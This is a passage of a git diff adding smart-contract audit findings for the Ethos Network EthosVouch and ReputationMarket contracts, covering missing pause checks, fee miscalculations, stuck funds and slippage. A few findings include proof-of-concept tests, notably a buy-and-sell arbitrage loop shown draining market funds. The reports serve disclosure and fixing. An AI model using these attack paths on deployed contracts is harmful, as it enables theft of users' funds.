.deleteAddress(ethosUserA.signer.address, true); // <------- Alternatively, can pass `false` as last param if only want to delete, without marking as compromised + + // Verify address is marked as compromised + expect(await deployer.ethosProfile.contract.isAddressCompromised(ethosUserA.signer.address)).to.be.true; // <------- comment this if not marked as compromised in the step above + + // Despite being compromised/deleted, withdraw donations + await reputationMarket.connect(ethosUserA.signer).withdrawDonations(); + + // Verify funds were received by compromised address + const balanceAfter = await ethers.provider.getBalance(ethosUserA.signer.address); + expect(balanceAfter).to.be.closeTo( + balanceBefore + donationEscrow, + ethers.parseEther('0.001') // Allow for gas costs + ); + + // Verify donations were cleared + expect(await reputationMarket.donationEscrow(ethosUserA.signer.address)) + .to.equal(0); + }); + }); +}); +``` + +## Mitigation +1. Add the check to revert if a compromised/deleted address attempts to call `withdrawDonations()`. Note that we need not bother about `updateDonationRecipient()` since even if it is called by A1, it can only set the new recipient to some address belonging to the existing profile: +```diff +- 570: function withdrawDonations() public whenNotPaused returns (uint256) { ++ 570: function withdrawDonations(uint256 profileId) public whenNotPaused returns (uint256) { ++ 571: uint256 callerProfileId = _getProfileIdForAddress(msg.sender); ++ 571: if (msg.sender != donationRecipient[profileId] || callerProfileId != profileId) revert InvalidProfileId(); + 571: uint256 amount = donationEscrow[msg.sender]; + 572: if (amount == 0) { + 573: revert InsufficientFunds(); + 574: } + 575: + 576: // Reset escrow balance before transfer to prevent reentrancy + 577: donationEscrow[msg.sender] = 0; + 578: + 579: // Transfer the funds + 580: (bool success, ) = msg.sender.call{ value: amount }(""); + 581: if (!success) revert FeeTransferFailed("Donation withdrawal failed"); + 582: + 583: emit DonationWithdrawn(msg.sender, amount); + 584: return amount; + 585: } +``` + +2. The second fix is more of a design decision which the protocol can take. There should be a way to recover the donation. Either a new convenience function `reassignDonationRecipient()` can be added which looks something like this: +```js +function reassignDonationRecipient( + uint256 profileId, + address newRecipient, + bytes calldata signature // Signed proof of new address ownership +) external { +``` +Or the admin could float a proposal which allows them to rescue funds from such markets, and introduce a new function for the same. \ No newline at end of file diff --git a/184.md b/184.md new file mode 100644 index 0000000..6f36c9f --- /dev/null +++ b/184.md @@ -0,0 +1,39 @@ +Furry Carob Chinchilla + +Medium + +# User is able to `increaseVouch` even when contracts are paused + +### Summary + +Inside `EthosVouch`, every function that changes the state of the contract has the`whenNotPaused` modifier, except [`EthosVouch::increaseVouch`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426). +This allows the user to change the contract state even when paused. + +### Root Cause + +Missing `whenNotPaused` modifier in [`EthosVouch::increaseVouch`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426) + +### Internal pre-conditions + +- Contracts are paused +- User have active vouch + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User calls the [`EthosVouch::increaseVouch`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426) + +### Impact + +The user is able to change the state of the contract when it is paused. + +### PoC + +_No response_ + +### Mitigation + +Add whenNotPaused modifier to the [`EthosVouch::increaseVouch`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426) \ No newline at end of file diff --git a/185.md b/185.md new file mode 100644 index 0000000..2b3c1c4 --- /dev/null +++ b/185.md @@ -0,0 +1,39 @@ +Fast Concrete Otter + +Medium + +# `EthosVouch::increaseVouch` allows vouching in a paused state. + +### Summary + +Missing `whenNotPaused` modifier on `EthosVouch::increaseVouch` allows vouching in a paused state. + +The `EthosVouch` contract includes a pause mechanism designed to halt functionality during emergencies or unforeseen issues. Key functions such as `vouchByAddress`, `vouchByProfileId`, `unvouch`, and `unvouchUnhealthy` are appropriately secured with the `whenNotPaused` modifier from OpenZeppelin. However, the `increaseVouch` function lacks this modifier, enabling users to continue vouching even when the contract is paused. + +### Root Cause + +In [`EthosVouch::increaseVouch::l.426`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426) there is a missing modifier `whenNotPaused` not applied. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Allowing the `increaseVouch` function to bypass the pause state undermines the contract's emergency controls. This inconsistency may lead to misleading behavior, where users assume the entire contract is paused while some functionality remains active. Such behavior could potentially expose the contract to further risks or create confusion for its users. + +### PoC + +_No response_ + +### Mitigation + +Add the whenNotPaused modifier to the increaseVouch function to align its behavior with the intended pause functionality and ensure consistent application of the contract's emergency controls. \ No newline at end of file diff --git a/186.md b/186.md new file mode 100644 index 0000000..c9de2d9 --- /dev/null +++ b/186.md @@ -0,0 +1,54 @@ +Fast Concrete Otter + +Medium + +# EthosVouch::updateUnhealthyResponsePeriod call from Admin could block vouch marking as unhealthy + +### Summary + +Lack of Minimum Check for unhealthyResponsePeriodDuration in EthosVouch::updateUnhealthyResponsePeriod Could Block Vouch Marking as Unhealthy + +The `EthosVouch` contract provides safeguards for various admin functions, such as `setMinimumVouchAmount` and `updateMaximumVouches`, to prevent misconfigurations that could block core functionality. However, the `updateUnhealthyResponsePeriod` function lacks similar safeguards for its `unhealthyResponsePeriodDuration` parameter. Specifically, there is no minimum duration enforced, which could result in an invalid or excessively short duration being set. + +### Root Cause + +In [`EthosVouch::updateUnhealthyResponsePeriod::l.662`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L662) lacks of minimum duration enforced. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The Admin calls `EthosVouch::updateUnhealthyResponsePeriod` with a value of 0. +2. The private function `_vouchShouldBePossibleUnhealthy` will evaluate `stillHasTime` as `false` due to the following logic: +```solidity +bool stillHasTime = block.timestamp <= v.activityCheckpoints.unvouchedAt + unhealthyResponsePeriod; +``` +3. Since the `stillHasTime` condition is always false, the function reverts with: +```solidity +revert CannotMarkVouchAsUnhealthy(vouchId); +``` + + +### Impact + +If the `unhealthyResponsePeriodDuration` is set to an extremely low value (e.g., 0), it effectively disables the ability to mark vouches as unhealthy. This would cause the private function `_vouchShouldBePossibleUnhealthy` to always fail the `stillHasTime` check, resulting in a revert whenever `markUnhealthy` is called. Consequently, the system's ability to manage and flag unhealthy vouches would be completely blocked. + +### PoC + +_No response_ + +### Mitigation + +To prevent this issue, introduce a constant to define an absolute minimum duration for `unhealthyResponsePeriod`. For example: + +```solidity +uint256 private constant ABSOLUTE_MINIMUM_TIME_DURATION = 12 hours; +``` + +This ensures that the duration cannot be set below a reasonable threshold, maintaining the integrity of the unhealthy marking mechanism and preventing unintended functionality blocking. \ No newline at end of file diff --git a/187.md b/187.md new file mode 100644 index 0000000..853d8bb --- /dev/null +++ b/187.md @@ -0,0 +1,108 @@ +Radiant Seaweed Armadillo + +High + +# Arbitrage attackers can steal funds from the reputation market. + +# Arbitrage attackers can steal funds from the reputation market. + +### Summary + +There is no cool down period between the buying and selling the votes and users can buy and sell continuously in one transaction. +When users buy or sells votes, the vote price is changed according to `price = (votes * basePrice) / totalVotes`. +As a result, there is arbitrage opportunity and attackers can steal funds using this vulnerability. + +### Root Cause + +In the `ReputationMarket._calcVotePrice` function, it calculates the vote price as `price = (votes * basePrice) / totalVotes` from [L922](https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L922) + +```solidity + function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; + return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; //zz ? + } +``` + +And users can buy and sell votes continuously in one transaction [here](https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L500). + +### Internal pre-conditions + +None + +### External pre-conditions + +1. None + +### Attack Path + +Let's consider the following scenario: + +- Alice creates the market with `0.01 ether` initial liquidity. +- Bob buys and sells according to the following steps: + +| buy/sell | isPositive | trust | distrust | votes / totalVotes | +| -------- | ---------- | ----- | -------- | ------------------ | +| | | 1 | 1 | | +| buy | true | 2 | 1 | + 1 / 2 | +| buy | false | 2 | 2 | + 1 / 3 | +| buy | true | 3 | 2 | + 1 / 2 | +| buy | false | 3 | 3 | + 2 / 5 | +| buy | true | 4 | 3 | + 1 / 2 | +| sell | false | 4 | 2 | - 2 / 6 | +| sell | false | 4 | 1 | - 1 / 5 | +| sell | true | 3 | 1 | - 3 / 4 | +| sell | true | 2 | 1 | - 2 / 3 | +| sell | true | 1 | 1 | - 1 / 2 | +| final | | | | -13 / 60 | + +As a result, bob receives `0.01 * 13 / 60` ethers. + +For the simplicity, this scenario uses the market which has initial liquidity. +Arbitrage attacking is also available in the general status. + +### Impact + +- Malicious attackers can steal funds of the market. +- This can break the following requirement in README: + +""" +Reputation Markets must never sell the initial votes. They must never pay out the initial liquidity deposited. The only way to access those funds is to graduate the market. +""" + +### PoC + +Add the following test codes in the `rep.market.test.ts` file. + +```ts + it('arbitrage_test', async () => { + const {trustVotes: trustVotes1, distrustVotes: distrustVotes1, balance:balance1} = await userB.getVotes(); + console.log(trustVotes1, distrustVotes1, balance1); + for (let i = 0; i < 9; i++){ + await userB.buyOneVote({isPositive: true,}); + await userB.buyOneVote({isPositive: false,}); + await userB.buyOneVote({isPositive: true,}); + await userB.buyOneVote({isPositive: false,}); + await userB.buyOneVote({isPositive: true,}); + await userB.sellOneVote({isPositive: false,}); + await userB.sellOneVote({isPositive: false,}); + await userB.sellOneVote({isPositive: true,}); + await userB.sellOneVote({isPositive: true,}); + await userB.sellOneVote({isPositive: true,}); + } + const {trustVotes: trustVotes2, distrustVotes: distrustVotes2, balance:balance2} = await userB.getVotes(); + console.log(trustVotes2, distrustVotes2, balance2); + }); +``` + +The test result is following as: + +```bash +0n 0n 2000000000000000000000n +0n 0n 2000008093015095095392n +``` + +Initially, there is 0.01 eth in the market and `userB` steals `8093015095095392`(0.008 eth). + +### Mitigation + +Improve the votes price mechanism and add the cool down period between the buying and selling votes. diff --git a/188.md b/188.md new file mode 100644 index 0000000..efb20e3 --- /dev/null +++ b/188.md @@ -0,0 +1,64 @@ +Radiant Seaweed Armadillo + +High + +# In the `ReputationMarket.buyVotes` function, `marketFunds[profileId]` should not contain protocol entry fee and donation fee + +### Summary + +In the `ReputationMarket.buyVotes` function, it accures `fundsPaid` which also contains procotol and donation fee into `marketFunds[profileId]`. +In the `withdrawGraduatedMarketFunds` function, it transfers `marketFunds[profileId]` amount of ethers to authorized graduation withdrawal address. This means the contract transfers protocol entry fee and donation fee twice. +As a result, this causes the protocol's loss of funds. + +### Root Cause + +In the `ReputationMarket._calculateBuy` function, `fundsPaid` contains `protocolFee` and `donation` from [L978](https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L978). + +```solidity +L978: fundsPaid += protocolFee + donation; +``` + +In the `ReputationMarket.buyVotes` function, it transfers protocol fee to `protocolFeeAddress` from L464 and accrues the donation fee into `donationEscrow` variable which `donationRecipient` will claim later. +And `fundsPaid` is accrued into the `marketFunds[profileId]` variable from L481. + +```solidity +L464: applyFees(protocolFee, donation, profileId); +L481: marketFunds[profileId] += fundsPaid; +``` + +In the `withdrawGraduatedMarketFunds` function, it transfers `marketFunds[profileId]` amount of ethers to authorized graduation withdrawal address. + +```solidity +L675: _sendEth(marketFunds[profileId]); +``` + +As a result, it tries to transfer fee amount of ethers, too. + +### Internal pre-conditions + +None + +### External pre-conditions + +1. None + +### Attack Path + +None + +### Impact + +This causes the protocol's loss of funds. + +### PoC + +None + +### Mitigation + +It is recommended to change the code in the `buyVotes` function as following: + +```diff +- marketFunds[profileId] += fundsPaid; ++ marketFunds[profileId] += (fundsPaid - protocolFee - donation); +``` diff --git a/189.md b/189.md new file mode 100644 index 0000000..a393f4e --- /dev/null +++ b/189.md @@ -0,0 +1,83 @@ +Radiant Seaweed Armadillo + +High + +# The `EthosVouch.applyFees` function modifies the `vouchersPoolFee` variable incorrectly + +### Summary + +The `EthosVouch._rewardPreviousVouchers` function returns `amountDistributed` as 0, because it is not set in the function. +As a result, `vouches[count]` tracks the greater vouching amount than actual value and this causes the protocol's loss of funds. + +### Root Cause + +In the `EthosVouch._rewardPreviousVouchers` function, it returns `amountDistributed` from [L700](https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/EthosVouch.sol#L700). +However, there is no code to set the value of this variable in the function. +Thus, the `_rewardPreviousVouchers` returns 0 even though it distributes rewards to previous vouchers from L727. + +```solidity + function _rewardPreviousVouchers( + uint256 amount, + uint256 subjectProfileId +L700: ) internal returns (uint256 amountDistributed) { + [...] + for (uint256 i = 0; i < totalVouches && remainingRewards > 0; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + if (!vouch.archived) { + // Calculate this vouch's share of the rewards + uint256 reward = amount.mulDiv(vouch.balance, totalBalance, Math.Rounding.Floor); //zz precision + if (reward > 0) { +L727: vouch.balance += reward; + remainingRewards -= reward; + } + } + } + [...] + } +``` + +In the `EthosVouch.applyFees` function, it changes the `vouchersPoolFee` value using returned value from [L949](https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/EthosVouch.sol#L949). + +```solidity + if (vouchersPoolFee > 0) { + // update the voucher pool fee to the amount actually distributed +L949: vouchersPoolFee = _rewardPreviousVouchers(vouchersPoolFee, subjectProfileId); + } + totalFees = protocolFee + donationFee + vouchersPoolFee; + toDeposit = amount - totalFees; +``` + +Thus, `vouchersPoolFee` is set as 0 and it is not subtracted from `toDeposit`. +As a result, `vouches[count]` tracks the greater vouching amount than actual value and this causes the protocol's loss of funds. + +### Internal pre-conditions + +None + +### External pre-conditions + +1. None + +### Attack Path + +None + +### Impact + +Incorrect use of `vouchersPoolFee` causes the protocol's loss of funds. + +### PoC + +None + +### Mitigation + +It is recommended to change the code in the `applyFees` function as following: + +```diff + if (vouchersPoolFee > 0) { + // update the voucher pool fee to the amount actually distributed +- vouchersPoolFee = _rewardPreviousVouchers(vouchersPoolFee, subjectProfileId); ++ _rewardPreviousVouchers(vouchersPoolFee, subjectProfileId); + } +``` \ No newline at end of file diff --git a/190.md b/190.md new file mode 100644 index 0000000..da65d95 --- /dev/null +++ b/190.md @@ -0,0 +1,86 @@ +Radiant Seaweed Armadillo + +Medium + +# The `EthosVouch.applyFees` function calculates the protocol, donation and vouchersPool fee incorrectly + +### Summary + +In the `EthosVouch.applyFees` function, it calculates the protocol, donation and vouchersPool fee individually using `fee = total - (total * 10000 / (10000 + feeBasisPoints))` formula. +This is the incorrect calculation of fees and causes the voucher's loss of funds. + +### Root Cause + +In the [`EthosVouch.calcFee`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/EthosVouch.sol#L975) function, it calculates the fees using `fee = total - (total * 10000 / (10000 + feeBasisPoints))` formula. + +```solidity + function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { + return + total - + (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); + } +``` + +In the [`EthosVouch.applyFees`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/EthosVouch.sol#L936-938) function, it calculates the protocol, donation and vouchersPool fee individually. + +```solidity + uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); + uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); + uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); +``` + +This is the incorrect calculation of the fees and causes the users' loss of funds. + +### Internal pre-conditions + +None + +### External pre-conditions + +1. None + +### Attack Path + +Let's consider the following scenario: + +- entry protocol fee = 1%, donation = 2%, voucher pool = 3%: total fee = 6% +- If Alice tries to vouch 100 Eth, the protocol requires that she should pays 106 Eth. + +```solidity +fee = total - (total * 10000 / (10000 + feeBasisPoints)) = 106 * 6 / 106 = 6 ether +``` + +However, if she pays 106 Eth, it calculates in the `applyFees` function as following: + +```solidity +protocolFee = calcFee(amount, entryProtocolFeeBasisPoints) = 106 * 1 / 101 = 1.049; +donationFee = calcFee(amount, entryDonationFeeBasisPoints) = 106 * 2 / 101 = 2.099; +vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints) = 106 * 3 / 101 = 3.148; +totalFee = 1.049 + 2.099 + 3.148 = 6.296 +``` + +As a result, Alice should pay 6.296 fee instead of 6 ether and she vouches 99.7 ether instead of 100 ether. +This is the Alice's loss of funds. + +### Impact + +Incorrect fee calculation causes the voucher's loss of funds. + +### PoC + +None + +### Mitigation + +It is recommended to change the code in the `applyFees` function as following: + +```diff +- uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); +- uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); +- uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); ++ uint256 totalFeeBasisPoints = entryProtocolFeeBasisPoints + entryDonationFeeBasisPoints + entryVouchersPoolFeeBasisPoints; ++ totalFees = calcFee(amount, totalFeeBasisPoints); ++ uint256 protocolFee = totalFees * entryProtocolFeeBasisPoints / totalFeeBasisPoints; ++ uint256 donationFee = totalFees * entryDonationFeeBasisPoints / totalFeeBasisPoints; ++ uint256 vouchersPoolFee = totalFees - protocolFee - donationFee; +``` diff --git a/191.md b/191.md new file mode 100644 index 0000000..1267123 --- /dev/null +++ b/191.md @@ -0,0 +1,78 @@ +Hollow Sable Piranha + +High + +# Incorrect Fee Calculation Causes Excessive Fee Overpayment + +### Summary + +The `EthosVouch.applyFees()` function incorrectly calculates fees, leading to vouchers overpaying fees. This miscalculation inflates the total fees, causing an unintended loss of funds for users. + + +### Root Cause + +- The issue lies in the way [EthosVouch.applyFees()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L929-L965) calculates each fee component (`protocolFee`, `donationFee`, and `vouchersPoolFee`) using the `calcFee()` function. +```solidity +936: uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); + uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); + uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); +``` +For instance, at line `936`, the `calcFee()` assumes that `toDeposit = amount - protocolFee`: +```solidity + function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { + /* + ------ SKIP ------ + * 6. fee = total - deposit + * 7. fee = total - (total * 10000 / (10000 + feeBasisPoints)) + */ + return + total - + (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); + } +``` +However, at line `952`, in fact, `toDeposit = amount - totalFees`: +```solidity + totalFees = protocolFee + donationFee + vouchersPoolFee; +952: toDeposit = amount - totalFees; +``` + + +### Internal pre-conditions + +At least two of the following values must be greater than zero: +- `entryProtocolFeeBasisPoints` +- `entryDonationFeeBasisPoints` +- `entryVouchersPoolFeeBasisPoints` + + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Set `entryProtocolFeeBasisPoints = 5000` (`50%`), `entryDonationFeeBasisPoints = 5000` (`50%`) and `entryVouchersPoolFeeBasisPoints = 0`. +2. A voucher attempts to vouch `amount = 30000`. +3. Fees are calculated as: + - `protocolFee = 30000 * 5000 / 15000 = 10000` + - `donationFee = 30000 * 5000 / 15000 = 10000`. +4. The total fees become `totalFees = 10000 + 10000 + 0 = 20000`, leaving `toDeposit = 30000 - 20000 = 10000`. + +This results in `protocolFee` and `donationFee` each being `100%` (> `50%`) of the reduced `toDeposit`, overcharging fees. + + +### Impact + +Overcharging fees leads to a significant loss of funds for users. +Since the inflation rate of fees can be very high, this bug has a High severity. + + +### PoC + +Please refer to the following discord message for the correct fee calculation formula: +https://discord.com/channels/812037309376495636/1312070624730021918/1313017646840549398 + + +### Mitigation + +Fix the fee calculation logic to ensure fees are calculated correctly. diff --git a/192.md b/192.md new file mode 100644 index 0000000..1620d85 --- /dev/null +++ b/192.md @@ -0,0 +1,55 @@ +Hollow Sable Piranha + +High + +# Vouches for Mock Profiles Result in Stuck Donation Fees + +### Summary + +The `EthosVouch` contract allows vouchers to vouch for mock profiles. However, when a voucher does so, the donation fees are deposited as rewards for the mock profile, which lacks an associated address. As a result, the donation fees become permanently stuck. + + +### Root Cause + +- The [EthosVouch._depositRewards()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L687-L690) function deposits rewards for any given profile ID without verifying if the profile is mocked. +```solidity + function _depositRewards(uint256 amount, uint256 recipientProfileId) internal { + rewards[recipientProfileId] += amount; + emit DepositedToRewards(recipientProfileId, amount); + } +``` +For mock profiles (used for attestation), there is no actual address associated with the profile ID. Therefore, rewards deposited for such profiles cannot be accessed or withdrawn, leading to permanently stuck funds. + + +### Internal pre-conditions + +- `entryDonationFeeBasisPoints` must be greater than zero. + + +### External pre-conditions + +_No response_ + +### Attack Path + +1. A voucher vouches for a mock profile created for attestation purposes. +2. The donation fees are calculated and deposited into the rewards for the mock profile. +3. Since the mock profile lacks an associated address, the deposited donation fees become irretrievable. + + +### Impact + +The donation fees for mock profiles are permanently stuck in the contract. +As per following [comment](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L27): +> Subject must have a valid profile or be a mock profile created via address/attestation review + +it is obviously intended to vouch for the mock profile created by attestation. + + +### PoC + +_No response_ + +### Mitigation + +Modify the `_depositRewards()` function to exclude mock profiles from reward deposits. diff --git a/193.md b/193.md new file mode 100644 index 0000000..0d620e8 --- /dev/null +++ b/193.md @@ -0,0 +1,76 @@ +Hollow Sable Piranha + +Medium + +# First Voucher Cannot Revouch for the Same Subject After Unvouching + +### Summary + +The `vouchId` counter starts from zero, which creates a logic issue. When the first voucher unvouches, the `vouchId` is not effectively deleted due to its initial value of zero. This prevents the first voucher from revouching for the same subject. + + +### Root Cause + +- The `vouchId` starts from zero in the [EthosVouch.vouchByProfileId()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L387) function. +```solidity + function vouchByProfileId( + uint256 subjectProfileId, + string calldata comment, + string calldata metadata + ) public payable whenNotPaused nonReentrant { + ------ SKIP ------ + uint256 count = vouchCount; + ------ SKIP ------ + vouchIdByAuthorForSubjectProfileId[authorProfileId][subjectProfileId] = count; + ------ SKIP ------ + vouchCount++; + } +``` +- During unvouching, the [EthosVouch._removeVouchFromArrays()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L1038) function attempts to delete the entry: +```solidity + delete vouchIdByAuthorForSubjectProfileId[v.authorProfileId][v.subjectProfileId]; +``` +However, since the vouchId is already 0, this deletion has no effect. +- When the same author tries to revouch, the [EthosVouch._vouchShouldNotExistFor](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L844-L848) reverts because the `vouchIdByAuthorForSubjectProfileId[author][subjectProfileId].activityCheckpoints.unvouchedAt > 0`. +```solidity + function _vouchShouldNotExistFor(uint256 author, uint256 subjectProfileId) private view { + if (vouchExistsFor(author, subjectProfileId)) { + revert AlreadyVouched(author, subjectProfileId); + } + } +``` + + +### Internal pre-conditions + +- The author profile creates the first-ever vouch in the protocol. + + +### External pre-conditions + +_No response_ + +### Attack Path + +1. A voucher creates a vouch for the first time in the contract. Therefore, `vouchId == 0`. +2. The voucher unvouches. The `vouchId` is not effectively deleted because it is zero. +3. When the voucher attempts to revouch for the same subject, the the `_vouchShouldNotExistFor()` function reverts. + + +### Impact + +The first voucher in the protocol is permanently unable to revouch for the same subject after unvouching. +Although there is the following [comments](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L31): +> Requirements: +> - Author cannot vouch for the same subject multiple times + +the sponsor has clarified that the comment was a developer [mistake](https://discord.com/channels/812037309376495636/1312070624730021918/1313003127187705856) and that vouch/unvouch/revouch should be [allowed](https://discord.com/channels/812037309376495636/1312070624730021918/1313002609002418177). + + +### PoC + +_No response_ + +### Mitigation + +Modify the `vouchCount` initialization to start from one instead of zero. diff --git a/194.md b/194.md new file mode 100644 index 0000000..5b4a5c4 --- /dev/null +++ b/194.md @@ -0,0 +1,61 @@ +Hollow Sable Piranha + +High + +# Vouches Can Be Unvouched to an Incorrect Address + +### Summary + +The `EthosVouch.increaseVouch()` function allows addresses other than the original author to increase the vouch amount. When unvouching, the total vouch amount is sent to the original author address, potentially leading to loss of funds. + + +### Root Cause + +- The [EthosVouch.increaseVouch()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426-L444) function permits an address other than the original author to increase the vouch amount. +- The [EthosVouch.unvouch()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L452-L481) function transfers the total vouch amount to the original author address: +```solidity + if (vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + } + ------ SKIP ------ + (bool success, ) = payable(v.authorAddress).call{ value: toWithdraw }(""); +``` + + +### Internal pre-conditions + +- A profile ID is associated with multiple addresses. + + +### External pre-conditions + +_No response_ + +### Attack Path + +1. `voucherA` vouches `1 ether` to `subjectA` using address `addrA1`. +2. `voucherA` increase the vouch amount by `1 ether` using a different address `addrA2`. +3. `addrA1` address becomes compromised. +4. The attacker calls `unvouch()` from `addrA1`, withdrawing the total `2 ethers` to `addrA1`. + + +### Impact + +Funds can be withdrawn to an address other than the one that contributed them, violating the intended behavior described in the [comments](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L456-L458): +> because it's $$$, you can only withdraw/unvouch to the same address you used to vouch. however, we don't care about the status of the address's profile; funds are always attached to an address, not a profile + +This creates a significant risk of fund misappropriation, especially in cases where one address in a profile ID's set becomes compromised. + + +### PoC + +_No response_ + +### Mitigation + +Add the following check in the `EthosVouch.increaseVouch()` function: +```solidity + if (vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + } +``` diff --git a/195.md b/195.md new file mode 100644 index 0000000..c84c6a3 --- /dev/null +++ b/195.md @@ -0,0 +1,43 @@ +Calm Fiery Llama + +Medium + +# Missing slippage protection in `ReputationMarket::sellVotes()` + +### Summary + +Before users sell their votes, they have the option to call `ReputationMarket::simulateSell()`. This function simulates selling votes to preview the transaction outcome. If the user likes that outcome, they can call `ReputationMarket::sellVotes()`. + +However, there is no slippage protection in [ReputationMarket::sellVotes()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534), meaning the outcome could change. This can occur if another user sells the same type of votes for the same market or buys the opposite type of votes for the same market between the call to simulate a sell and the actual sell call. As a result, users might earn a lot less for their votes than the amount calculated by`ReputationMarket::simulateSell()`. + +This does not need to happen due to frontrunning, it can also occur accidentally. + +### Root Cause + +In `ReputationMarket.sol::sellVotes()` there is no slippage protection. + +### Internal pre-conditions + +1. The user needs to own votes that they can sell. + +### External pre-conditions + +None. + +### Attack Path + +1. Alice calls `ReputationMarket::simulateSell()` to simulate selling an amount of her votes to preview the transaction outcome. +2. Bob decides to sell the same type of vote for the same market and calls `ReputationMarket::sellVotes()`. This causes the vote price for that type and market to decrease. +3. Alice liked the outcome and calls `ReputationMarket::sellVotes()` to sell the same amount of votes she previewed the transaction for, but the outcome is totally different. + +### Impact + +Users will lose funds depending on the amount of votes they want to sell, the amount of votes other users sold or bought between the two transactions, and the vote base price for the market. + +### PoC + +_No response_ + +### Mitigation + +Consider adding a slippage protection in `ReputationMarket::sellVotes()`. \ No newline at end of file diff --git a/196.md b/196.md new file mode 100644 index 0000000..80c7cf7 --- /dev/null +++ b/196.md @@ -0,0 +1,59 @@ +Hollow Sable Piranha + +High + +# Funds Slashed from Incorrect Vouches in `slash()` Function + +### Summary + +The `EthosVouch.slash()` function incorrectly slashes funds from the vouch records of an author (`vouchIdsByAuthor`) instead of targeting the vouches for the accused subject (`vouchIdsForSubjectProfileId`). This misdirection results in an inability to punish the accused profile while incorrectly penalizing unrelated profiles. + + +### Root Cause + +- The issue lies in the logic of the `slash()` function. Specifically: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L529 +```solidity + uint256[] storage vouchIds = vouchIdsByAuthor[authorProfileId]; +``` +Here, `vouchIdsByAuthor` is used to identify the vouches made by the author. However, the intent of the function is to slash funds associated with the accused subject profile. This should be determined using `vouchIdsForSubjectProfileId`. + + +### Internal pre-conditions + +- Vouchers have vouched for the accused subject (`vouchIdsForSubjectProfileId[subjectProfileId]` is non-empty). +- The accused subject has not vouched for any other profile. + + +### External pre-conditions + +- The accused subject (`subjectA`) is found guilty of unethical behavior or inaccurate claims, triggering a slashing event. + + +### Attack Path + +1. `subjectA` is accused of unethical behavior, triggering a call to `slash(subjectA)`. +2. Vouchers have vouched funds for `subjectA` using their profiles. +3. The `slash()` function incorrectly targets `vouchIdsByAuthor`, which represents vouches created by `subjectA` (if any). +4. Since 